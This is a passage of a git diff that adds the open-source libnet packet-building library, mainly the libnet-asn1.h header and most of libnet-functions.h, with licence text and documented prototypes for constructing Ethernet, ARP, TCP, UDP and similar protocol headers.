&& cd +INSTALL = @INSTALL@ +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +target_triplet = @target@ +DIST_COMMON = $(libnetinclude_HEADERS) $(srcdir)/Makefile.am \ + $(srcdir)/Makefile.in $(top_srcdir)/Makefile.am.common +subdir = include/libnet +ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 +am__aclocal_m4_deps = $(top_srcdir)/acinclude.m4 \ + $(top_srcdir)/configure.in +am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ + $(ACLOCAL_M4) +mkinstalldirs = $(SHELL) $(top_srcdir)/mkinstalldirs +CONFIG_HEADER = $(top_builddir)/include/config.h +CONFIG_CLEAN_FILES = +depcomp = +am__depfiles_maybe = +SOURCES = +DIST_SOURCES = +am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; 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Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Definitions for Abstract Syntax Notation One, ASN.1 + * As defined in ISO/IS 8824 and ISO/IS 8825 + * + * Copyright 1988, 1989 by Carnegie Mellon University + * All rights reserved. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose and without fee is hereby granted, + * provided that the above copyright notice appear in all copies and that + * both that copyright notice and this permission notice appear in + * supporting documentation, and that the name of CMU not be + * used in advertising or publicity pertaining to distribution of the + * software without specific, written prior permission. + * + * CMU DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING + * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL + * CMU BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR + * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, + * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, + * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + * SOFTWARE. + * + * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef __LIBNET_ASN1_H +#define __LIBNET_ASN1_H + +#ifndef EIGHTBIT_SUBIDS +typedef u_int32_t oid; +#define MAX_SUBID 0xFFFFFFFF +#else +typedef u_int8_t oid; +#define MAX_SUBID 0xFF +#endif + +#define MAX_OID_LEN 64 /* max subid's in an oid */ + +#define ASN_BOOLEAN (0x01) +#define ASN_INTEGER (0x02) +#define ASN_BIT_STR (0x03) +#define ASN_OCTET_STR (0x04) +#define ASN_NULL (0x05) +#define ASN_OBJECT_ID (0x06) +#define ASN_SEQUENCE (0x10) +#define ASN_SET (0x11) + +#define ASN_UNIVERSAL (0x00) +#define ASN_APPLICATION (0x40) +#define ASN_CONTEXT (0x80) +#define ASN_PRIVATE (0xC0) + +#define ASN_PRIMITIVE (0x00) +#define ASN_CONSTRUCTOR (0x20) + +#define ASN_LONG_LEN (0x80) +#define ASN_EXTENSION_ID (0x1F) +#define ASN_BIT8 (0x80) + +#define IS_CONSTRUCTOR(byte) ((byte) & ASN_CONSTRUCTOR) +#define IS_EXTENSION_ID(byte) (((byte) & ASN_EXTENSION_ID) = ASN_EXTENSION_ID) + +/* + * All of the build_asn1_* (build_asn1_length being an exception) functions + * take the same first 3 arguments: + * + * u_int8_t *data: This is a pointer to the start of the data object to be + * manipulated. + * int *datalen: This is a pointer to the number of valid bytes following + * "data". This should be not be exceeded in any function. + * Upon exiting a function, this value will reflect the + * changed "data" and then refer to the new number of valid + * bytes until the end of "data". + * u_int8_t type: The ASN.1 object type. + */ + + +/* + * Builds an ASN object containing an integer. + * + * Returns NULL upon error or a pointer to the first byte past the end of + * this object (the start of the next object). + */ + +u_int8_t * +libnet_build_asn1_int( + u_int8_t *, /* Pointer to the output buffer */ + int *, /* Number of valid bytes left in the buffer */ + u_int8_t, /* ASN object type */ + int32_t *, /* Pointer to a int32_t integer */ + int /* Size of a int32_t integer */ + ); + + +/* + * Builds an ASN object containing an unsigned integer. + * + * Returns NULL upon error or a pointer to the first byte past the end of + * this object (the start of the next object). + */ + +u_int8_t * +libnet_build_asn1_uint( + u_int8_t *, /* Pointer to the output buffer */ + int *, /* Number of valid bytes left in the buffer */ + u_int8_t, /* ASN object type */ + u_int32_t *, /* Pointer to an unsigned int32_t integer */ + int /* Size of a int32_t integer */ + ); + + +/* + * Builds an ASN object containing an octect string. + * + * Returns NULL upon error or a pointer to the first byte past the end of + * this object (the start of the next object). + */ + +u_int8_t * +libnet_build_asn1_string( + u_int8_t *, /* Pointer to the output buffer */ + int *, /* Number of valid bytes left in the buffer */ + u_int8_t, /* ASN object type */ + u_int8_t *, /* Pointer to a string to be built into an object */ + int /* Size of the string */ + ); + + +/* + * Builds an ASN header for an object with the ID and length specified. This + * only works on data types < 30, i.e. no extension octets. The maximum + * length is 0xFFFF; + * + * Returns a pointer to the first byte of the contents of this object or + * NULL upon error + */ + +u_int8_t * +libnet_build_asn1_header( + u_int8_t *, /* Pointer to the start of the object */ + int *, /* Number of valid bytes left in buffer */ + u_int8_t, /* ASN object type */ + int /* ASN object length */ + ); + + +u_int8_t * +libnet_build_asn1_length( + u_int8_t *, /* Pointer to start of object */ + int *, /* Number of valid bytes in buffer */ + int /* Length of object */ + ); + + +/* + * Builds an ASN header for a sequence with the ID and length specified. + * + * This only works on data types < 30, i.e. no extension octets. + * The maximum length is 0xFFFF; + * + * Returns a pointer to the first byte of the contents of this object. + * Returns NULL on any error. + */ + +u_int8_t * +libnet_build_asn1_sequence( + u_int8_t *, + int *, + u_int8_t, + int + ); + + +/* + * Builds an ASN object identifier object containing the input string. + * + * Returns NULL upon error or a pointer to the first byte past the end of + * this object (the start of the next object). + */ + +u_int8_t * +libnet_build_asn1_objid( + u_int8_t *, + int *, + u_int8_t, + oid *, + int + ); + + +/* + * Builds an ASN null object. + * + * Returns NULL upon error or a pointer to the first byte past the end of + * this object (the start of the next object). + */ + +u_int8_t * +libnet_build_asn1_null( + u_int8_t *, + int *, + u_int8_t + ); + + +/* + * Builds an ASN bitstring. + * + * Returns NULL upon error or a pointer to the first byte past the end of + * this object (the start of the next object). + */ + +u_int8_t * +libnet_build_asn1_bitstring( + u_int8_t *, + int *, + u_int8_t, + u_int8_t *, /* Pointer to the input buffer */ + int /* Length of the input buffer */ + ); + + +#endif /* __LIBNET_ASN1_H */ + +/* EOF */ diff --git a/libnet/include/libnet/libnet-functions.h b/libnet/include/libnet/libnet-functions.h new file mode 100644 index 0000000..5acc44b --- /dev/null +++ b/libnet/include/libnet/libnet-functions.h @@ -0,0 +1,2198 @@ +/* + * $Id: libnet-functions.h,v 1.43 2004/11/09 07:05:07 mike Exp $ + * + * libnet-functions.h - function prototypes + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#ifndef __LIBNET_FUNCTIONS_H +#define __LIBNET_FUNCTIONS_H +/** + * @file libnet-functions.h + * @brief libnet exported function prototypes + */ + +/** + * Creates the libnet environment. It initializes the library and returns a + * libnet context. If the injection_type is LIBNET_LINK or LIBNET_LINK_ADV, the + * function initializes the injection primitives for the link-layer interface + * enabling the application programmer to build packets starting at the + * data-link layer (which also provides more granular control over the IP + * layer). If libnet uses the link-layer and the device argument is non-NULL, + * the function attempts to use the specified network device for packet + * injection. This is either a canonical string that references the device + * (such as "eth0" for a 100MB Ethernet card on Linux or "fxp0" for a 100MB + * Ethernet card on OpenBSD) or the dots and decimals representation of the + * device's IP address (192.168.0.1). If device is NULL, libnet attempts to + * find a suitable device to use. If the injection_type is LIBNET_RAW4 or + * LIBNET_RAW4_ADV, the function initializes the injection primitives for the + * IPv4 raw socket interface. The final argument, err_buf, should be a buffer + * of size LIBNET_ERRBUF_SIZE and holds an error message if the function fails. + * This function requires root privileges to execute successfully. Upon + * success, the function returns a valid libnet context for use in later + * function calls; upon failure, the function returns NULL. + * @param injection_type packet injection type (LIBNET_LINK, LIBNET_LINK_ADV, LIBNET_RAW4, LIBNET_RAW4_ADV, LIBNET_RAW6, LIBNET_RAW6_ADV) + * @param device the interface to use (NULL and libnet will choose one) + * @param err_buf will contain an error message on failure + * @return libnet context ready for use or NULL on error. + */ +libnet_t * +libnet_init(int injection_type, char *device, char *err_buf); + +/** + * Shuts down the libnet session referenced by l. It closes the network + * interface and frees all internal memory structures associated with l. + * @param l pointer to a libnet context + */ +void +libnet_destroy(libnet_t *l); + +/** + * Clears the current packet referenced and frees all pblocks. Should be + * called when the programmer want to send a completely new packet of + * a different type using the same context. + * @param l pointer to a libnet context + */ +void +libnet_clear_packet(libnet_t *l); + +/** + * Fills in a libnet_stats structure with packet injection statistics + * (packets written, bytes written, packet sending errors). + * @param l pointer to a libnet context + * @param ls pointer to a libnet statistics structure + */ +void +libnet_stats(libnet_t *l, struct libnet_stats *ls); + +/** + * Returns the FILENO of the file descriptor used for packet injection. + * @param l pointer to a libnet context + * @return the file number of the file descriptor used for packet injection + */ +int +libnet_getfd(libnet_t *l); + +/** + * Returns the canonical name of the device used for packet injection. + * @param l pointer to a libnet context + * @return the canonical name of the device used for packet injection. Note + * it can be NULL without being an error. + */ +int8_t * +libnet_getdevice(libnet_t *l); + +/** + * Returns the pblock buffer contents for the specified ptag; a + * subsequent call to libnet_getpbuf_size() should be made to determine the + * size of the buffer. + * @param l pointer to a libnet context + * @param ptag the ptag reference number + * @return a pointer to the pblock buffer or NULL on error + */ +u_int8_t * +libnet_getpbuf(libnet_t *l, libnet_ptag_t ptag); + +/** + * Returns the pblock buffer size for the specified ptag; a + * previous call to libnet_getpbuf() should be made to pull the actual buffer + * contents. + * @param l pointer to a libnet context + * @param ptag the ptag reference number + * @return the size of the pblock buffer + */ +u_int32_t +libnet_getpbuf_size(libnet_t *l, libnet_ptag_t ptag); + +/** + * Returns the last error set inside of the referenced libnet context. This + * function should be called anytime a function fails or an error condition + * is detected inside of libnet. + * @param l pointer to a libnet context + * @return an error string or NULL if no error has occured + */ +char * +libnet_geterror(libnet_t *l); + +/** + * Returns the sum of the size of all of the pblocks inside of l (this should + * be the resuling packet size). + * @param l pointer to a libnet context + * @return the size of the packet in l + */ +u_int32_t +libnet_getpacket_size(libnet_t *l); + +/** + * Seeds the psuedo-random number generator. + * @param l pointer to a libnet context + * @return 1 on success, -1 on failure + */ +int +libnet_seed_prand(libnet_t *l); + +/** + * Generates an unsigned psuedo-random value within the range specified by + * mod. + * LIBNET_PR2 0 - 1 + * LIBNET_PR8 0 - 255 + * LIBNET_PR16 0 - 32767 + * LIBNET_PRu16 0 - 65535 + * LIBNET_PR32 0 - 2147483647 + * LIBNET_PRu32 0 - 4294967295 + * + * @param mod one the of LIBNET_PR* constants + * @return 1 on success, -1 on failure + */ +u_int32_t +libnet_get_prand(int mod); + +/** + * If a given protocol header is built with the checksum field set to "0", by + * default libnet will calculate the header checksum prior to injection. If the + * header is set to any other value, by default libnet will not calculate the + * header checksum. To over-ride this behavior, use libnet_toggle_checksum(). + * Switches auto-checksumming on or off for the specified ptag. If mode is set + * to LIBNET_ON, libnet will mark the specificed ptag to calculate a checksum + * for the ptag prior to injection. This assumes that the ptag refers to a + * protocol that has a checksum field. If mode is set to LIBNET_OFF, libnet + * will clear the checksum flag and no checksum will be computed prior to + * injection. This assumes that the programmer will assign a value (zero or + * otherwise) to the checksum field. Often times this is useful if a + * precomputed checksum or some other predefined value is going to be used. + * Note that when libnet is initialized with LIBNET_RAW4, the IPv4 header + * checksum will always be computed by the kernel prior to injection, + * regardless of what the programmer sets. + * @param l pointer to a libnet context + * @param ptag the ptag reference number + * @param mode LIBNET_ON or LIBNET_OFF + * @return 1 on success, -1 on failure + */ +int +libnet_toggle_checksum(libnet_t *l, libnet_ptag_t ptag, int mode); + +/** + * Takes a network byte ordered IPv4 address and returns a pointer to either a + * canonical DNS name (if it has one) or a string of dotted decimals. This may + * incur a DNS lookup if the hostname and mode is set to LIBNET_RESOLVE. If + * mode is set to LIBNET_DONT_RESOLVE, no DNS lookup will be performed and + * the function will return a pointer to a dotted decimal string. The function + * cannot fail -- if no canonical name exists, it will fall back on returning + * a dotted decimal string. This function is non-reentrant. + * @param in network byte ordered IPv4 address + * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE + * @return a pointer to presentation format string + */ +char * +libnet_addr2name4(u_int32_t in, u_int8_t use_name); + +/** + * Takes a dotted decimal string or a canonical DNS name and returns a + * network byte ordered IPv4 address. This may incur a DNS lookup if mode is + * set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode + * is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can + * fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and + * host_name refers to a canonical DNS name. + * @param l pointer to a libnet context + * @param host_name pointer to a string containing a presentation format host + * name + * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE + * @return network byte ordered IPv4 address or -1 (2^32 - 1) on error + */ +u_int32_t +libnet_name2addr4(libnet_t *l, char *host_name, u_int8_t use_name); + +extern const struct libnet_in6_addr in6addr_error; + +/** + * Takes a dotted decimal string or a canonical DNS name and returns a + * network byte ordered IPv6 address. This may incur a DNS lookup if mode is + * set to LIBNET_RESOLVE and host_name refers to a canonical DNS name. If mode + * is set to LIBNET_DONT_RESOLVE no DNS lookup will occur. The function can + * fail if DNS lookup fails or if mode is set to LIBNET_DONT_RESOLVE and + * host_name refers to a canonical DNS name. + * @param l pointer to a libnet context + * @param host_name pointer to a string containing a presentation format host + * name + * @param use_name LIBNET_RESOLVE or LIBNET_DONT_RESOLVE + * @return network byte ordered IPv6 address structure + */ +struct libnet_in6_addr +libnet_name2addr6(libnet_t *l, char *host_name, u_int8_t use_name); + +/** + * Should document this baby right here. + */ +void +libnet_addr2name6_r(struct libnet_in6_addr addr, u_int8_t use_name, +char *host_name, int host_name_len); + +/** + * Creates a new port list. Port list chains are useful for TCP and UDP-based + * applications that need to send packets to a range of ports (contiguous or + * otherwise). The port list chain, which token_list points to, should contain + * a series of int8_tacters from the following list: "0123456789,-" of the + * general format "x - y, z", where "xyz" are port numbers between 0 and + * 65,535. plist points to the front of the port list chain list for use in + * further libnet_plist_chain() functions. Upon success, the function returns + * 1. Upon failure, the function returns -1 and libnet_geterror() can tell you + * why. + * @param l pointer to a libnet context + * @param plist if successful, will refer to the portlist, if not, NULL + * @param token_list string containing the port list primitive + * @return 1 on success, -1 on failure + */ +int +libnet_plist_chain_new(libnet_t *l, libnet_plist_t **plist, char *token_list); + +/** + * Returns the next port list chain pair from the port list chain plist. bport + * and eport contain the starting port number and ending port number, + * respectively. Upon success, the function returns 1 and fills in the port + * variables; however, if the list is empty, the function returns 0 and sets + * both port variables to 0. Upon failure, the function returns -1. + * @param plist previously created portlist + * @param bport will contain the beginning port number or 0 + * @param eport will contain the ending port number or 0 + * @return 1 on success, 0 if empty, -1 on failure + */ +int +libnet_plist_chain_next_pair(libnet_plist_t *plist, u_int16_t *bport, +u_int16_t *eport); + +/** + * Runs through the port list and prints the contents of the port list chain + * list to stdout. + * @param plist previously created portlist + * @return 1 on success, -1 on failure + */ +int +libnet_plist_chain_dump(libnet_plist_t *plist); + +/** + * Runs through the port list and prints the contents of the port list chain + * list to string. This function uses strdup and is not re-entrant. It also + * has a memory leak and should not really be used. + * @param plist previously created portlist + * @return a printable string containing the port list contents on success + * NULL on error + */ +char * +libnet_plist_chain_dump_string(libnet_plist_t *plist); + +/** + * Frees all memory associated with port list chain. + * @param plist previously created portlist + * @return 1 on success, -1 on failure + */ +int +libnet_plist_chain_free(libnet_plist_t *plist); + +/** + * @section PBF Packet Builder Functions + * + * The core of libnet is the platform-independent packet-building + * functionality. These functions enable an application programmer to build + * protocol headers (and data) in a simple and consistent manner without having + * to worry (too much) about low-level network odds and ends. Each + * libnet_build() function builds a piece of a packet (generally a protocol + * header). While it is perfectly possible to build an entire, + * ready-to-transmit packet with a single call to a libnet_build() function, + * generally more than one builder-class function call is required to construct + * a full packet. A complete wire-ready packet generally consists of more than + * one piece. + * Every function that builds a protocol header takes a series of arguments + * roughly corresponding to the header values as they appear on the wire. This + * process is intuitive but often makes for functions with huge prototypes and + * large stack frames. + * One important thing to note is that you must call these functions in order, + * corresponding to how they should appear on the wire (from the highest + * protocol layer on down). This building process is intuitive; it approximates + * what happens in an operating system kernel. In other words, to build a + * Network Time Protocol (NTP) packet by using the link-layer interface, the + * application programmer would call the libnet_build() functions in the + * following order: + * 1. libnet_build_ntp() + * 2. libnet_build_udp() + * 3. libnet_build_ipv4() + * 4. libnet_build_ethernet() + * This ordering is essential for libnet 1.1.x to properly link together the + * packet internally (previous libnet versions did not have the requirement). + * + * @subsection TPI The Payload Interface + * + * The payload interface specifies an optional way to include data directly + * after the protocol header in question. You can use this function for a + * variety of purposes, including the following: + * - Including additional or arbitrary protocol header information that is not + * available from a libnet interface + * - Including a packet payload (data segment) + * - Building another protocol header that is not available from a libnet + * interface + * To employ the interface, the application programmer should construct the i + * payload data and pass a u_int8_t * to this data and its size to the desired + * libnet_build() function. Libnet handles the rest. + * + * It is important to note that some functions (notably the IPv6 builders) do + * use the payload interface to specify variable length but ostensibly + * non-optional data. See the individual libnet_build_ipv6*() functions for + * more information. + * + * @subsection PT Protocol Tags and Packet Builder Return Values + * + * Libnet uses the protocol tag (ptag) to identify individual pieces of a + * packet after being created. A new ptag results every time a libnet_build() + * function with an empty (0) ptag argument completes successfully. This new + * ptag now refers to the packet piece just created. The application + * programmer's responsibility is to save this value if he or she plans to + * modify this particular portion later on in the program. If the application + * programmer needs to modify some portion of that particular packet piece + * again, he or she calls the same libnet_build() function specifying the + * saved ptag argument. Libnet then searches for that packet piece and modifies + * it rather than creating a new one. Upon failure for any reason, + * libnet_build() functions return -1; libnet_geterror() tells you why. + */ + +/** + * Builds an IEEE 802.1q VLAN tagging header. Depending on the value of + * len_proto, the function wraps the 802.1q header inside either an IEEE 802.3 + * header or an RFC 894 Ethernet II (DIX) header (both resulting in an 18-byte + * frame). If len is 1500 or less, most receiving protocol stacks parse the + * frame as an IEEE 802.3 encapsulated frame. If len is one of the Ethernet type + * values, most protocol stacks parse the frame as an RFC 894 Ethernet II + * encapsulated frame. Note the length value is calculated without the 802.1q + * header of 18 bytes. + * @param dst pointer to a six byte source ethernet address + * @param src pointer to a six byte destination ethernet address + * @param tpi tag protocol identifier + * @param priority priority + * @param cfi canonical format indicator + * @param vlan_id vlan identifier + * @param len_proto length (802.3) protocol (Ethernet II) + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_802_1q(u_int8_t *dst, u_int8_t *src, u_int16_t tpi, +u_int8_t priority, u_int8_t cfi, u_int16_t vlan_id, u_int16_t len_proto, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IEEE 802.1x extended authentication protocol header. + * @param eap_ver the EAP version + * @param eap_type the EAP type + * @param length frame length + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_802_1x(u_int8_t eap_ver, u_int8_t eap_type, u_int16_t length, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IEEE 802.2 LLC header. + * @param dsap destination service access point + * @param ssap source service access point + * @param control control field + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_802_2(u_int8_t dsap, u_int8_t ssap, u_int8_t control, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IEEE 802.2 LLC SNAP header. + * @param dsap destination service access point + * @param ssap source service access point + * @param control control field + * @param oui Organizationally Unique Identifier + * @param type upper layer protocol + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_802_2snap(u_int8_t dsap, u_int8_t ssap, u_int8_t control, +u_int8_t *oui, u_int16_t type, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IEEE 802.3 header. The 802.3 header is almost identical to the + * RFC 894 Ethernet II header, the exception being that the field immediately + * following the source address holds the frame's length (as opposed to the + * layer 3 protocol). You should only use this function when libnet is + * initialized with the LIBNET_LINK interface. + * @param dst destination ethernet address + * @param src source ethernet address + * @param len frame length sans header + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_802_3(u_int8_t *dst, u_int8_t *src, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an Ethernet header. The RFC 894 Ethernet II header is almost + * identical to the IEEE 802.3 header, with the exception that the field + * immediately following the source address holds the layer 3 protocol (as + * opposed to frame's length). You should only use this function when + * libnet is initialized with the LIBNET_LINK interface. + * @param dst destination ethernet address + * @param src source ethernet address + * @param type upper layer protocol type + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ethernet(u_int8_t *dst, u_int8_t *src, u_int16_t type, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Autobuilds an Ethernet header. The RFC 894 Ethernet II header is almost + * identical to the IEEE 802.3 header, with the exception that the field + * immediately following the source address holds the layer 3 protocol (as + * opposed to frame's length). You should only use this function when + * libnet is initialized with the LIBNET_LINK interface. + * @param dst destination ethernet address + * @param type upper layer protocol type + * @param l pointer to a libnet context + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_ethernet(u_int8_t *dst, u_int16_t type, libnet_t *l); + +/** + * Builds a Fiber Distributed Data Interface (FDDI) header. + * @param fc class format and priority + * @oaram dst destination fddi address + * @oaram src source fddi address + * @param dsap destination service access point + * @param ssap source service access point + * @param cf cf + * @param oui 3 byte IEEE organizational code + * @param type upper layer protocol + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t *src, u_int8_t dsap, +u_int8_t ssap, u_int8_t cf, u_int8_t *oui, u_int16_t type, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Autobuilds a Fiber Distributed Data Interface (FDDI) header. + * @param fc class format and priority + * @oaram dst destination fddi address + * @param dsap destination service access point + * @param ssap source service access point + * @param cf cf + * @param oui IEEE organizational code + * @param type upper layer protocol + * @param l pointer to a libnet context + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_fddi(u_int8_t fc, u_int8_t *dst, u_int8_t dsap, u_int8_t ssap, +u_int8_t cf, u_int8_t *oui, u_int16_t type, libnet_t *l); + +/** + * Builds an Address Resolution Protocol (ARP) header. Depending on the op + * value, the function builds one of several different types of RFC 826 or + * RFC 903 RARP packets. + * @param hrd hardware address format + * @param pro protocol address format + * @param hln hardware address length + * @param pln protocol address length + * @param op ARP operation type + * @param sha sender's hardware address + * @param spa sender's protocol address + * @param tha target hardware address + * @param tpa targer protocol address + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_arp(u_int16_t hrd, u_int16_t pro, u_int8_t hln, u_int8_t pln, +u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, u_int8_t *tpa, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Autouilds an Address Resolution Protocol (ARP) header. Depending on the op + * value, the function builds one of several different types of RFC 826 or + * RFC 903 RARP packets. + * @param op ARP operation type + * @param sha sender's hardware address + * @param spa sender's protocol address + * @param tha target hardware address + * @param tpa targer protocol address + * @param l pointer to a libnet context + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_arp(u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, +u_int8_t *tpa, libnet_t *l); + +/** + * Builds an RFC 793 Transmission Control Protocol (TCP) header. + * @param sp source port + * @param dp destination port + * @param seq sequence number + * @param ack acknowledgement number + * @param control control flags + * @param win window size + * @param sum checksum (0 for libnet to autofill) + * @param urg urgent pointer + * @parama len total length of the TCP packet (for checksum calculation) + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_tcp(u_int16_t sp, u_int16_t dp, u_int32_t seq, u_int32_t ack, +u_int8_t control, u_int16_t win, u_int16_t sum, u_int16_t urg, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an RFC 793 Transmission Control Protocol (TCP) options header. + * The function expects options to be a valid TCP options string of size + * options_s, which is no larger than 40 bytes (the maximum size of an + * options string). The function checks to ensure that the packet consists of + * a TCP header preceded by an IPv4 header, and that the addition of the + * options string would not result in a packet larger than 65,535 bytes + * (IPMAXPACKET). The function counts up the number of 32-bit words in the + * options string and adjusts the TCP header length value as necessary. + * @param options byte string of TCP options + * @param options_s length of options string + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_tcp_options(u_int8_t *options, u_int32_t options_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * Builds an RFC 768 User Datagram Protocol (UDP) header. + * @param sp source port + * @param dp destination port + * @param len total length of the UDP packet + * @param sum checksum (0 for libnet to autofill) + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_udp(u_int16_t sp, 